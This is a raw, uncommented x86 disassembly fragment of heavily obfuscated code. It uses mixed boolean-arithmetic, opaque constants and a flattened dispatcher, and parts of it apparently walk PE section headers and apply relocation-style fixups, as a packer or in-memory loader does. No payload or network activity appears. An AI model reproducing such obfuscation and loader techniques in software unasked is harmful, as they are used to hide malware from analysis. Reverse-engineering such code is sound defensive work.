mov ecx, dword [ebp - 0x3dac]
xor ecx, 0xffffffff
mov dword [ebp - 0x3ef0], eax
mov eax, dword [ebp - 0x3ee0]
xor eax, 0xffffffff
mov dword [ebp - 0x3ef4], eax
mov eax, ebx
xor eax, 0x2f14e816
mov dword [ebp - 0x3ef8], eax
mov eax, dword [ebp - 0x3ef4]
or ecx, eax
mov eax, dword [ebp - 0x3ef8]
or eax, 0x2f14e816
xor ecx, 0xffffffff
and ecx, eax
mov eax, dword [ebp - 0x3ee4]
xor eax, 0xffffffff
mov dword [ebp - 0x3efc], eax
mov eax, dword [ebp - 0x3eec]
xor eax, 0xffffffff
mov dword [ebp - 0x3f00], eax
mov eax, ebx
xor eax, 0x58945cf2
mov dword [ebp - 0x3f04], eax
mov eax, dword [ebp - 0x3efc]
and eax, 0x58945cf2
mov dword [ebp - 0x3f08], eax
mov eax, dword [ebp - 0x3ee4]
mov dword [ebp - 0x3f0c], ecx
mov ecx, dword [ebp - 0x3f04]
and eax, ecx
mov ecx, dword [ebp - 0x3f00]
and ecx, 0x58945cf2
mov dword [ebp - 0x3f10], eax
mov eax, dword [ebp - 0x3eec]
mov dword [ebp - 0x3f14], ecx
mov ecx, dword [ebp - 0x3f04]
and eax, ecx
mov ecx, dword [ebp - 0x3f08]
mov dword [ebp - 0x3f18], eax
mov eax, dword [ebp - 0x3f10]
or ecx, eax
mov eax, dword [ebp - 0x3f14]
mov dword [ebp - 0x3f1c], ecx
mov ecx, dword [ebp - 0x3f18]
or eax, ecx
mov ecx, dword [ebp - 0x3f1c]
xor ecx, eax
mov eax, dword [ebp - 0x3efc]
mov dword [ebp - 0x3f20], ecx
mov ecx, dword [ebp - 0x3f00]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3f04]
or ecx, 0x58945cf2
and eax, ecx
mov ecx, dword [ebp - 0x3f20]
or ecx, eax
mov eax, dword [ebp - 0x3ef0]
xor eax, 0xffffffff
mov dword [ebp - 0x3f24], eax
mov eax, dword [ebp - 0x3f0c]
xor eax, 0xffffffff
mov dword [ebp - 0x3f28], eax
mov eax, ebx
xor eax, 0x8d3d8dbc
mov dword [ebp - 0x3f2c], eax
mov eax, dword [ebp - 0x3f24]
and eax, 0x8d3d8dbc
mov dword [ebp - 0x3f30], eax
mov eax, dword [ebp - 0x3ef0]
mov dword [ebp - 0x3f34], ecx
mov ecx, dword [ebp - 0x3f2c]
and eax, ecx
mov ecx, dword [ebp - 0x3f28]
and ecx, 0x8d3d8dbc
mov dword [ebp - 0x3f38], eax
mov eax, dword [ebp - 0x3f0c]
mov dword [ebp - 0x3f3c], ecx
mov ecx, dword [ebp - 0x3f2c]
and eax, ecx
mov ecx, dword [ebp - 0x3f30]
mov dword [ebp - 0x3f40], eax
mov eax, dword [ebp - 0x3f38]
or ecx, eax
mov eax, dword [ebp - 0x3f3c]
mov dword [ebp - 0x3f44], ecx
mov ecx, dword [ebp - 0x3f40]
or eax, ecx
mov ecx, dword [ebp - 0x3f44]
xor ecx, eax
mov eax, dword [ebp - 0x3f24]
mov dword [ebp - 0x3f48], ecx
mov ecx, dword [ebp - 0x3f28]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3f2c]
or ecx, 0x8d3d8dbc
and eax, ecx
mov ecx, dword [ebp - 0x3f48]
or ecx, eax
mov eax, dword [ebp - 0x3f34]
xor eax, 0xffffffff
and eax, 0x1f8e63a3
mov dword [ebp - 0x3f4c], eax
mov eax, ebx
xor eax, 0x1f8e63a3
mov dword [ebp - 0x3f50], eax
mov eax, dword [ebp - 0x3f34]
mov dword [ebp - 0x3f54], ecx
mov ecx, dword [ebp - 0x3f50]
and eax, ecx
mov ecx, dword [ebp - 0x3f54]
xor ecx, 0xffffffff
and ecx, 0x1f8e63a3
mov dword [ebp - 0x3f58], eax
mov eax, dword [ebp - 0x3f54]
mov dword [ebp - 0x3f5c], ecx
mov ecx, dword [ebp - 0x3f50]
and eax, ecx
mov ecx, dword [ebp - 0x3f4c]
mov dword [ebp - 0x3f60], eax
mov eax, dword [ebp - 0x3f58]
or ecx, eax
mov eax, dword [ebp - 0x3f5c]
mov dword [ebp - 0x3f64], ecx
mov ecx, dword [ebp - 0x3f60]
or eax, ecx
mov ecx, dword [ebp - 0x3f64]
xor ecx, eax
mov eax, dword [ebp - 0x3ea0]
xor eax, 0xffffffff
mov dword [ebp - 0x3f68], eax
mov eax, dword [ebp - 0x3ebc]
xor eax, 0xffffffff
mov dword [ebp - 0x3f6c], eax
mov eax, ebx
xor eax, 0x69951c6a
mov dword [ebp - 0x3f70], eax
mov eax, dword [ebp - 0x3f68]
and eax, 0x69951c6a
mov dword [ebp - 0x3f74], eax
mov eax, dword [ebp - 0x3ea0]
mov dword [ebp - 0x3f78], ecx
mov ecx, dword [ebp - 0x3f70]
and eax, ecx
mov ecx, dword [ebp - 0x3f6c]
and ecx, 0x69951c6a
mov dword [ebp - 0x3f7c], eax
mov eax, dword [ebp - 0x3ebc]
mov dword [ebp - 0x3f80], ecx
mov ecx, dword [ebp - 0x3f70]
and eax, ecx
mov ecx, dword [ebp - 0x3f74]
mov dword [ebp - 0x3f84], eax
mov eax, dword [ebp - 0x3f7c]
or ecx, eax
mov eax, dword [ebp - 0x3f80]
mov dword [ebp - 0x3f88], ecx
mov ecx, dword [ebp - 0x3f84]
or eax, ecx
mov ecx, dword [ebp - 0x3f88]
xor ecx, eax
mov eax, dword [ebp - 0x3f68]
mov dword [ebp - 0x3f8c], ecx
mov ecx, dword [ebp - 0x3f6c]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3f70]
or ecx, 0x69951c6a
and eax, ecx
mov ecx, dword [ebp - 0x3f8c]
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x26fecbcb
mov dword [ebp - 0x3f90], eax
mov eax, ebx
xor eax, 0x26fecbcb
and ecx, eax
mov dword [ebp - 0x3f94], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x26fecbcb
mov dword [ebp - 0x3f98], eax
mov eax, dword [ebp - 0x3f94]
and eax, 0xffffffff
mov dword [ebp - 0x3f9c], eax
mov eax, dword [ebp - 0x3f90]
or eax, ecx
mov ecx, dword [ebp - 0x3f98]
mov dword [ebp - 0x3fa0], eax
mov eax, dword [ebp - 0x3f9c]
or ecx, eax
mov eax, dword [ebp - 0x3fa0]
xor eax, ecx
mov ecx, dword [ebp - 0x3ee0]
and ecx, 0x7a98ecac
mov dword [ebp - 0x3fa4], eax
mov eax, dword [ebp - 0x3ee0]
xor eax, 0x7a98ecac
or ecx, eax
xor ecx, 0xffffffff
mov eax, dword [ebp - 0x3fa4]
xor eax, ecx
mov ecx, dword [ebp - 0x3fa4]
and eax, ecx
mov ecx, dword [ebp - 0x3f78]
and ecx, eax
mov dword [ebp - 0x3fa8], eax
mov eax, dword [ebp - 0x3f78]
mov dword [ebp - 0x3fac], ecx
mov ecx, dword [ebp - 0x3fa8]
xor eax, ecx
mov ecx, dword [ebp - 0x3fac]
or ecx, eax
mov eax, dword [ebp - 0x3e98]
xor eax, 0xffffffff
and eax, 0xffffffff
mov dword [ebp - 0x3fb0], eax
mov eax, ebx
xor eax, 0xffffffff
mov dword [ebp - 0x3fb4], eax
mov eax, dword [ebp - 0x3e98]
mov dword [ebp - 0x3fb8], ecx
mov ecx, dword [ebp - 0x3fb4]
and eax, ecx
mov ecx, dword [ebp - 0x3fb0]
or ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x2f37971b
mov dword [ebp - 0x3fbc], eax
mov eax, ebx
xor eax, 0x2f37971b
mov dword [ebp - 0x3fc0], eax
and eax, 0xffffffff
mov dword [ebp - 0x3fc4], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x2f37971b
mov dword [ebp - 0x3fc8], eax
mov eax, dword [ebp - 0x3fc0]
and eax, 0xffffffff
mov dword [ebp - 0x3fcc], eax
mov eax, dword [ebp - 0x3fbc]
mov dword [ebp - 0x3fd0], ecx
mov ecx, dword [ebp - 0x3fc4]
or eax, ecx
mov ecx, dword [ebp - 0x3fc8]
mov dword [ebp - 0x3fd4], eax
mov eax, dword [ebp - 0x3fcc]
or ecx, eax
mov eax, dword [ebp - 0x3fd4]
xor eax, ecx
mov ecx, dword [ebp - 0x3e98]
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov dword [ebp - 0x3fd8], eax
mov eax, ebx
xor eax, 0xddec9d65
mov dword [ebp - 0x3fdc], eax
mov eax, dword [ebp - 0x3fd8]
or ecx, eax
mov eax, dword [ebp - 0x3fdc]
or eax, 0xddec9d65
xor ecx, 0xffffffff
and ecx, eax
mov eax, dword [ebp - 0x3fd0]
xor eax, 0xffffffff
mov dword [ebp - 0x3fe0], eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x3fe4], eax
mov eax, ebx
xor eax, 0x3d7fd037
mov dword [ebp - 0x3fe8], eax
mov eax, dword [ebp - 0x3fe0]
and eax, 0x3d7fd037
mov dword [ebp - 0x3fec], eax
mov eax, dword [ebp - 0x3fd0]
mov dword [ebp - 0x3ff0], ecx
mov ecx, dword [ebp - 0x3fe8]
and eax, ecx
mov ecx, dword [ebp - 0x3fe4]
and ecx, 0x3d7fd037
mov dword [ebp - 0x3ff4], eax
mov eax, dword [ebp - 0x3ff0]
mov dword [ebp - 0x3ff8], ecx
mov ecx, dword [ebp - 0x3fe8]
and eax, ecx
mov ecx, dword [ebp - 0x3fec]
mov dword [ebp - 0x3ffc], eax
mov eax, dword [ebp - 0x3ff4]
or ecx, eax
mov eax, dword [ebp - 0x3ff8]
mov dword [ebp - 0x4000], ecx
mov ecx, dword [ebp - 0x3ffc]
or eax, ecx
mov ecx, dword [ebp - 0x4000]
xor ecx, eax
mov eax, dword [ebp - 0x3fe0]
mov dword [ebp - 0x4004], ecx
mov ecx, dword [ebp - 0x3fe4]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3fe8]
or ecx, 0x3d7fd037
and eax, ecx
mov ecx, dword [ebp - 0x4004]
or ecx, eax
mov eax, dword [ebp - 0x3fb8]
xor eax, 0xffffffff
and eax, 0x3a09094b
mov dword [ebp - 0x4008], eax
mov eax, ebx
xor eax, 0x3a09094b
mov dword [ebp - 0x400c], eax
mov eax, dword [ebp - 0x3fb8]
mov dword [ebp - 0x4010], ecx
mov ecx, dword [ebp - 0x400c]
and eax, ecx
xor ebx, 0xffffffff
and ebx, 0x3a09094b
and ecx, 0xffffffff
mov dword [ebp - 0x4014], eax
mov eax, dword [ebp - 0x4008]
mov dword [ebp - 0x4018], ecx
mov ecx, dword [ebp - 0x4014]
or eax, ecx
mov ecx, dword [ebp - 0x4018]
or ebx, ecx
xor eax, ebx
mov ecx, dword [ebp - 0x4010]
xor ecx, 0xffffffff
mov ebx, eax
and ebx, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x4010]
and ecx, eax
or ebx, ecx
mov eax, dword [ebp - 0x4010]
xor eax, 0xffffffff
mov ecx, ebx
xor ecx, eax
and ecx, ebx
mov eax, dword [ebp - 0x3c18]
mov ebx, dword [eax + ecx]
mov eax, dword [ebp - 0x3c10]
sub eax, 0x41adc1b3
add eax, 0x1d0069d3
add eax, 0x41adc1b3
sub eax, 0xec5f0c41
sub eax, ebx
add eax, 0xec5f0c41
sub eax, 0x3a556cf
sub eax, 0x1d0069d3
add eax, 0x3a556cf
add edi, 0
mov ebx, dword [ebp - 0x3c14]
sub edi, ebx
sub edi, 0x31dc3daa
add esi, 0
add esi, edi
sub esi, 0xc2205992
add edx, 0
sub edx, esi
sub edx, 0xe9064e5
add eax, 0xaafa0a02
sub eax, edx
sub eax, 0xaafa0a02
mov edx, dword [ebp - 0x3c28]
add edx, 0
add edx, 0x5593ef8e
sub edx, 0xe4e7a197
mov esi, dword [ebp - 0x3c10]
sub esi, eax
add edx, esi
add edx, 0x9b09bbfb
sub edx, 0x5593ef8e
sub edx, 0x9b09bbfb
mov eax, dword [ebp - 0x3c18]
mov dword [eax + ecx], edx
mov dword [ebp - 0xa8], 0xf1b0fa52
jmp 0x45c869
xor eax, eax
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
add ecx, 2
mov edx, dword [ebp - 0x50]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov edx, eax
sub edx, 0xdcd45b28
add edx, 0
mov esi, eax
sub esi, ecx
add edx, esi
sub edx, 0x130670d9
add edx, 0xdcd45b28
add edx, 0x130670d9
mov ecx, eax
sub ecx, 0xffffffff
add ecx, 0
mov esi, eax
sub esi, ecx
mov ecx, eax
sub ecx, esi
mov esi, eax
sub esi, ecx
add esi, 0
add edx, 0x8bb84c13
sub edx, esi
sub edx, 0x8bb84c13
sub eax, 0x52733f8f
add eax, 0x686c50ab
add eax, 0x52733f8f
add eax, 0x9ae57
sub eax, edx
sub eax, 0x9ae57
add eax, 0x4f50d763
sub eax, 0x686c50ab
sub eax, 0x4f50d763
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov dword [ebp - 0xa8], 0x202f1693
jmp 0x45c869
xor eax, eax
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x60]
mov edx, dword [edx]
mov edx, dword [edx + 4]
mov esi, eax
sub esi, 0x1b3991e3
add esi, 0x5fb40c4d
add esi, 0x1b3991e3
add esi, 0xfea6b5
sub esi, ecx
sub esi, 0xfea6b5
add esi, 0xe3210b25
sub esi, 0x5fb40c4d
sub esi, 0xe3210b25
mov ecx, eax
sub ecx, 0
mov edi, eax
sub edi, 0xe8a9d755
add ecx, edi
mov edi, eax
sub edi, ecx
add edi, 0x14fd0ea2
sub edi, edx
sub edi, 0x14fd0ea2
mov ecx, eax
sub ecx, 0xe8a9d755
add edi, ecx
mov ecx, eax
sub ecx, 0xc2f0b149
sub ecx, edi
add ecx, 0xc2f0b149
mov edx, eax
sub edx, ecx
add esi, edx
mov ecx, eax
sub ecx, 0x2a664913
add ecx, 0xabce610a
add ecx, 0x2a664913
sub eax, esi
add ecx, eax
sub ecx, 0xbe94ec58
sub ecx, 0xabce610a
add ecx, 0xbe94ec58
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
mov dword [ebp - 0xa8], 0x8acb33a2
jmp 0x45c869
mov al, 1
mov ecx, 0xffffffff
lea edx, [0x47c004]
mov esi, dword [ebp - 0x88]
mov esi, dword [esi]
mov edi, dword [ebp - 0x84]
mov edi, dword [edi]
mov ebx, dword [ebp - 0x44]
movzx ebx, word [ebx]
imul ebx, ebx, 0x28
add edi, ebx
add esi, dword [edi + 0xc]
mov edi, dword [ebp - 0x40]
mov dword [edi], esi
mov esi, dword [ebp - 0x84]
mov esi, dword [esi]
mov edi, dword [ebp - 0x44]
movzx edi, word [edi]
imul edi, edi, 0x28
add esi, edi
mov esi, dword [esi + 0x24]
mov edi, dword [ebp - 0x3c]
mov dword [edi], esi
mov esi, dword [ebp - 0x3c]
mov esi, dword [esi]
mov edi, esi
xor edi, 0xffffffff
and edi, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
mov byte [ebp - 0x4029], al
mov eax, esi
and eax, ebx
or edi, eax
xor edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
and ebx, 0xffffffff
or eax, ebx
xor esi, 0xffffffff
xor eax, 0xffffffff
mov ebx, ecx
xor ebx, 0xbac99ff1
or esi, eax
or ebx, 0xbac99ff1
xor esi, 0xffffffff
and esi, ebx
mov eax, edi
xor eax, 0xffffffff
mov ebx, esi
xor ebx, 0xffffffff
mov dword [ebp - 0x4030], eax
mov eax, ecx
xor eax, 0xb0129060
mov dword [ebp - 0x4034], eax
mov eax, dword [ebp - 0x4030]
and eax, 0xb0129060
mov dword [ebp - 0x4038], eax
mov eax, dword [ebp - 0x4034]
and edi, eax
mov eax, ebx
and eax, 0xb0129060
mov dword [ebp - 0x403c], eax
mov eax, dword [ebp - 0x4034]
and esi, eax
mov eax, dword [ebp - 0x4038]
or eax, edi
mov edi, dword [ebp - 0x403c]
or edi, esi
xor eax, edi
mov esi, dword [ebp - 0x4030]
or esi, ebx
xor esi, 0xffffffff
mov edi, dword [ebp - 0x4034]
or edi, 0xb0129060
and esi, edi
or eax, esi
mov esi, ecx
xor esi, 0x20000000
and esi, 0x1e94489a
mov edi, ecx
xor edi, 0x1e94489a
mov ebx, edi
and ebx, 0x20000000
mov dword [ebp - 0x4040], eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x1e94489a
and edi, 0xffffffff
or esi, ebx
or eax, edi
xor esi, eax
xor esi, 0xffffffff
xor esi, 0x9911a782
and esi, 0x9911a782
mov eax, ecx
xor eax, 0x9911a782
and eax, 0xffffffff
mov edi, ecx
xor edi, 0xffffffff
and edi, 0x9911a782
or eax, edi
mov edi, ecx
xor edi, 0x20000000
mov ebx, eax
xor ebx, 0xffffffff
mov dword [ebp - 0x4044], eax
mov eax, ecx
xor eax, 0x31ab0a3d
or edi, ebx
or eax, 0x31ab0a3d
xor edi, 0xffffffff
and edi, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xcb12fa66
mov ebx, ecx
xor ebx, 0xcb12fa66
mov dword [ebp - 0x4048], eax
mov eax, ebx
and eax, 0xffffffff
mov dword [ebp - 0x404c], eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xcb12fa66
and ebx, 0xffffffff
mov dword [ebp - 0x4050], eax
mov eax, dword [ebp - 0x4048]
mov dword [ebp - 0x4054], ecx
mov ecx, dword [ebp - 0x404c]
or eax, ecx
mov ecx, dword [ebp - 0x4050]
or ecx, ebx
xor eax, ecx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x9911a782
mov ebx, eax
xor ebx, ecx
and ebx, eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x4044]
xor ecx, 0xffffffff
mov dword [ebp - 0x4058], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x43e6940f
mov dword [ebp - 0x405c], eax
mov eax, dword [ebp - 0x4058]
or eax, ecx
mov ecx, dword [ebp - 0x405c]
or ecx, 0x43e6940f
xor eax, 0xffffffff
and eax, ecx
mov ecx, esi
and ecx, edi
xor esi, edi
or ecx, esi
mov esi, ebx
and esi, eax
xor ebx, eax
or esi, ebx
mov eax, ecx
xor eax, 0xffffffff
mov edi, esi
and edi, eax
xor esi, 0xffffffff
and ecx, esi
or edi, ecx
mov eax, dword [ebp - 0x4054]
xor eax, 0x82a29024
and eax, 0xffffffff
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xffffffff
and ecx, 0x82a29024
or eax, ecx
xor eax, 0xffffffff
xor eax, 0x83ad9d0e
and eax, 0x83ad9d0e
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x83ad9d0e
and ecx, 0x45531db6
mov esi, dword [ebp - 0x4054]
xor esi, 0x45531db6
mov ebx, esi
and ebx, 0x83ad9d0e
mov dword [ebp - 0x4060], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x45531db6
and esi, 0xffffffff
or ecx, ebx
or eax, esi
xor ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor eax, 0x82a29024
and eax, 0x82a29024
mov esi, dword [ebp - 0x4054]
xor esi, 0xffffffff
and esi, 0xd085bb16
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xd085bb16
mov dword [ebp - 0x4064], eax
mov eax, ebx
and eax, 0xffffffff
mov dword [ebp - 0x4068], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0xd085bb16
and ebx, 0xffffffff
mov dword [ebp - 0x406c], eax
mov eax, dword [ebp - 0x4068]
or esi, eax
mov eax, dword [ebp - 0x406c]
or eax, ebx
xor esi, eax
xor esi, 0xffffffff
mov eax, dword [ebp - 0x4054]
xor eax, 0x83ad9d0e
mov ebx, dword [ebp - 0x4054]
xor ebx, 0x6b4ffd58
or esi, eax
or ebx, 0x6b4ffd58
xor esi, 0xffffffff
and esi, ebx
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov ebx, dword [ebp - 0x4054]
xor ebx, 0x494bdef5
or eax, ecx
or ebx, 0x494bdef5
xor eax, 0xffffffff
and eax, ebx
mov ecx, dword [ebp - 0x4060]
mov ebx, dword [ebp - 0x4064]
and ecx, ebx
mov ebx, dword [ebp - 0x4060]
mov dword [ebp - 0x4070], eax
mov eax, dword [ebp - 0x4064]
xor ebx, eax
or ecx, ebx
mov ebx, esi
mov eax, dword [ebp - 0x4070]
and ebx, eax
xor esi, eax
or ebx, esi
mov esi, ecx
xor esi, 0xffffffff
mov eax, ebx
and eax, esi
xor ebx, 0xffffffff
and ecx, ebx
or eax, ecx
mov ecx, dword [ebp - 0x4040]
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, dword [ebp - 0x4054]
xor esi, 0xffffffff
mov ebx, dword [ebp - 0x4040]
and ebx, esi
or ecx, ebx
mov esi, edi
xor esi, 0xffffffff
and esi, 0xaf8611f9
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xaf8611f9
mov dword [ebp - 0x4074], eax
mov eax, edi
and eax, ebx
mov dword [ebp - 0x4078], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0xaf8611f9
and ebx, 0xffffffff
mov dword [ebp - 0x407c], eax
mov eax, dword [ebp - 0x4078]
or esi, eax
mov eax, dword [ebp - 0x407c]
or eax, ebx
xor esi, eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xbdcbb9ee
and eax, 0x13ddcd04
mov ebx, dword [ebp - 0x4054]
xor ebx, 0x13ddcd04
mov dword [ebp - 0x4080], eax
mov eax, ebx
and eax, 0xbdcbb9ee
mov dword [ebp - 0x4084], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x13ddcd04
and ebx, 0xffffffff
mov dword [ebp - 0x4088], eax
mov eax, dword [ebp - 0x4080]
mov dword [ebp - 0x408c], ecx
mov ecx, dword [ebp - 0x4084]
or eax, ecx
mov ecx, dword [ebp - 0x4088]
or ecx, ebx
xor eax, ecx
mov ecx, dword [ebp - 0x408c]
xor ecx, 0xffffffff
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xbdcbb9ee
mov dword [ebp - 0x4090], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xd0bf67d7
or ecx, ebx
or eax, 0xd0bf67d7
xor ecx, 0xffffffff
and ecx, eax
mov eax, dword [ebp - 0x4040]
xor eax, 0xffffffff
mov ebx, dword [ebp - 0x4090]
xor ebx, 0xffffffff
mov dword [ebp - 0x4094], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xb59bfe01
mov dword [ebp - 0x4098], eax
mov eax, dword [ebp - 0x4094]
or eax, ebx
mov ebx, dword [ebp - 0x4098]
or ebx, 0xb59bfe01
xor eax, 0xffffffff
and eax, ebx
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xbdcbb9ee
mov dword [ebp - 0x409c], eax
mov eax, esi
xor eax, ebx
and eax, esi
mov ebx, dword [ebp - 0x4090]
xor ebx, 0xffffffff
mov dword [ebp - 0x40a0], eax
mov eax, edi
xor eax, ebx
and eax, edi
mov edi, ecx
xor edi, 0xffffffff
mov ebx, dword [ebp - 0x409c]
xor ebx, 0xffffffff
mov dword [ebp - 0x40a4], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x12f24ec5
mov dword [ebp - 0x40a8], eax
mov eax, edi
and eax, 0x12f24ec5
mov dword [ebp - 0x40ac], eax
mov eax, dword [ebp - 0x40a8]
and ecx, eax
mov eax, ebx
and eax, 0x12f24ec5
mov dword [ebp - 0x40b0], eax
mov eax, dword [ebp - 0x409c]
mov dword [ebp - 0x40b4], ecx
mov ecx, dword [ebp - 0x40a8]
and eax, ecx
mov ecx, dword [ebp - 0x40ac]
mov dword [ebp - 0x40b8], eax
mov eax, dword [ebp - 0x40b4]
or ecx, eax
mov eax, dword [ebp - 0x40b0]
mov dword [ebp - 0x40bc], ecx
mov ecx, dword [ebp - 0x40b8]
or eax, ecx
mov ecx, dword [ebp - 0x40bc]
xor ecx, eax
or edi, ebx
xor edi, 0xffffffff
mov eax, dword [ebp - 0x40a8]
or eax, 0x12f24ec5
and edi, eax
or ecx, edi
mov eax, dword [ebp - 0x40a0]
mov edi, dword [ebp - 0x40a4]
and eax, edi
mov ebx, dword [ebp - 0x40a0]
xor ebx, edi
or eax, ebx
mov ebx, ecx
xor ebx, 0xffffffff
and ebx, 0x68b71480
mov edi, dword [ebp - 0x4054]
xor edi, 0x68b71480
and ecx, edi
mov dword [ebp - 0x40c0], eax
xor eax, 0xffffffff
and eax, 0x68b71480
mov dword [ebp - 0x40c4], eax
mov eax, dword [ebp - 0x40c0]
and eax, edi
or ebx, ecx
mov ecx, dword [ebp - 0x40c4]
or ecx, eax
xor ebx, ecx
mov eax, dword [ebp - 0x408c]
xor eax, 0xffffffff
mov ecx, esi
xor ecx, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0xc2e7e01a
mov dword [ebp - 0x40c8], eax
and eax, 0xc2e7e01a
mov dword [ebp - 0x40cc], eax
mov eax, dword [ebp - 0x408c]
and eax, edi
mov dword [ebp - 0x40d0], eax
mov eax, ecx
and eax, 0xc2e7e01a
and esi, edi
mov dword [ebp - 0x40d4], eax
mov eax, dword [ebp - 0x40cc]
mov dword [ebp - 0x40d8], ecx
mov ecx, dword [ebp - 0x40d0]
or eax, ecx
mov ecx, dword [ebp - 0x40d4]
or ecx, esi
xor eax, ecx
mov ecx, dword [ebp - 0x40c8]
mov esi, dword [ebp - 0x40d8]
or ecx, esi
xor ecx, 0xffffffff
or edi, 0xc2e7e01a
and ecx, edi
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x696bd83d
mov edi, dword [ebp - 0x4054]
xor edi, 0x696bd83d
and eax, edi
mov esi, dword [ebp - 0x4054]
xor esi, 0xffffffff
and esi, 0x696bd83d
and edi, 0xffffffff
or ecx, eax
or esi, edi
xor ecx, esi
mov eax, dword [ebp - 0x4090]
and eax, 0xbdcbb9ee
mov esi, dword [ebp - 0x4090]
xor esi, 0xbdcbb9ee
or eax, esi
xor eax, 0xffffffff
mov esi, ecx
xor esi, eax
and esi, ecx
mov eax, ebx
and eax, esi
xor ebx, esi
or eax, ebx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x82a29024
and ecx, 0xffffffff
mov esi, dword [ebp - 0x4054]
xor esi, 0xffffffff
and esi, 0x82a29024
or ecx, esi
mov esi, dword [ebp - 0x4074]
xor esi, 0xffffffff
and esi, 0xffffffff
mov edi, dword [ebp - 0x4054]
xor edi, 0xffffffff
mov ebx, dword [ebp - 0x4074]
and ebx, edi
or esi, ebx
mov edi, dword [ebp - 0x4054]
xor edi, 0xe7db4ef6
and edi, 0xc939ae93
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xc939ae93
mov dword [ebp - 0x40dc], eax
mov eax, ebx
and eax, 0xe7db4ef6
mov dword [ebp - 0x40e0], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0xc939ae93
and ebx, 0xffffffff
mov dword [ebp - 0x40e4], eax
mov eax, dword [ebp - 0x40e0]
or edi, eax
mov eax, dword [ebp - 0x40e4]
or eax, ebx
xor edi, eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xe7db4ef6
mov ebx, ecx
xor ebx, eax
and ebx, ecx
mov eax, dword [ebp - 0x4054]
xor eax, 0x82a29024
mov dword [ebp - 0x40e8], eax
mov eax, edi
xor eax, 0xffffffff
mov dword [ebp - 0x40ec], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x83685803
mov dword [ebp - 0x40f0], eax
mov eax, dword [ebp - 0x40e8]
mov dword [ebp - 0x40f4], ecx
mov ecx, dword [ebp - 0x40ec]
or eax, ecx
mov ecx, dword [ebp - 0x40f0]
or ecx, 0x83685803
xor eax, 0xffffffff
and eax, ecx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xe7db4ef6
mov dword [ebp - 0x40f8], eax
mov eax, esi
xor eax, ecx
and eax, esi
mov ecx, dword [ebp - 0x4074]
xor ecx, 0xffffffff
mov dword [ebp - 0x40fc], eax
mov eax, edi
xor eax, 0xffffffff
mov dword [ebp - 0x4100], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xb52d8232
mov dword [ebp - 0x4104], eax
mov eax, dword [ebp - 0x4100]
or ecx, eax
mov eax, dword [ebp - 0x4104]
or eax, 0xb52d8232
xor ecx, 0xffffffff
and ecx, eax
mov eax, ebx
xor eax, 0xffffffff
mov dword [ebp - 0x4108], eax
mov eax, dword [ebp - 0x40f8]
xor eax, 0xffffffff
mov dword [ebp - 0x410c], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xdb3935db
mov dword [ebp - 0x4110], eax
mov eax, dword [ebp - 0x4108]
and eax, 0xdb3935db
mov dword [ebp - 0x4114], eax
mov eax, dword [ebp - 0x4110]
and ebx, eax
mov eax, dword [ebp - 0x410c]
and eax, 0xdb3935db
mov dword [ebp - 0x4118], eax
mov eax, dword [ebp - 0x40f8]
mov dword [ebp - 0x411c], ecx
mov ecx, dword [ebp - 0x4110]
and eax, ecx
mov ecx, dword [ebp - 0x4114]
or ecx, ebx
mov ebx, dword [ebp - 0x4118]
or ebx, eax
xor ecx, ebx
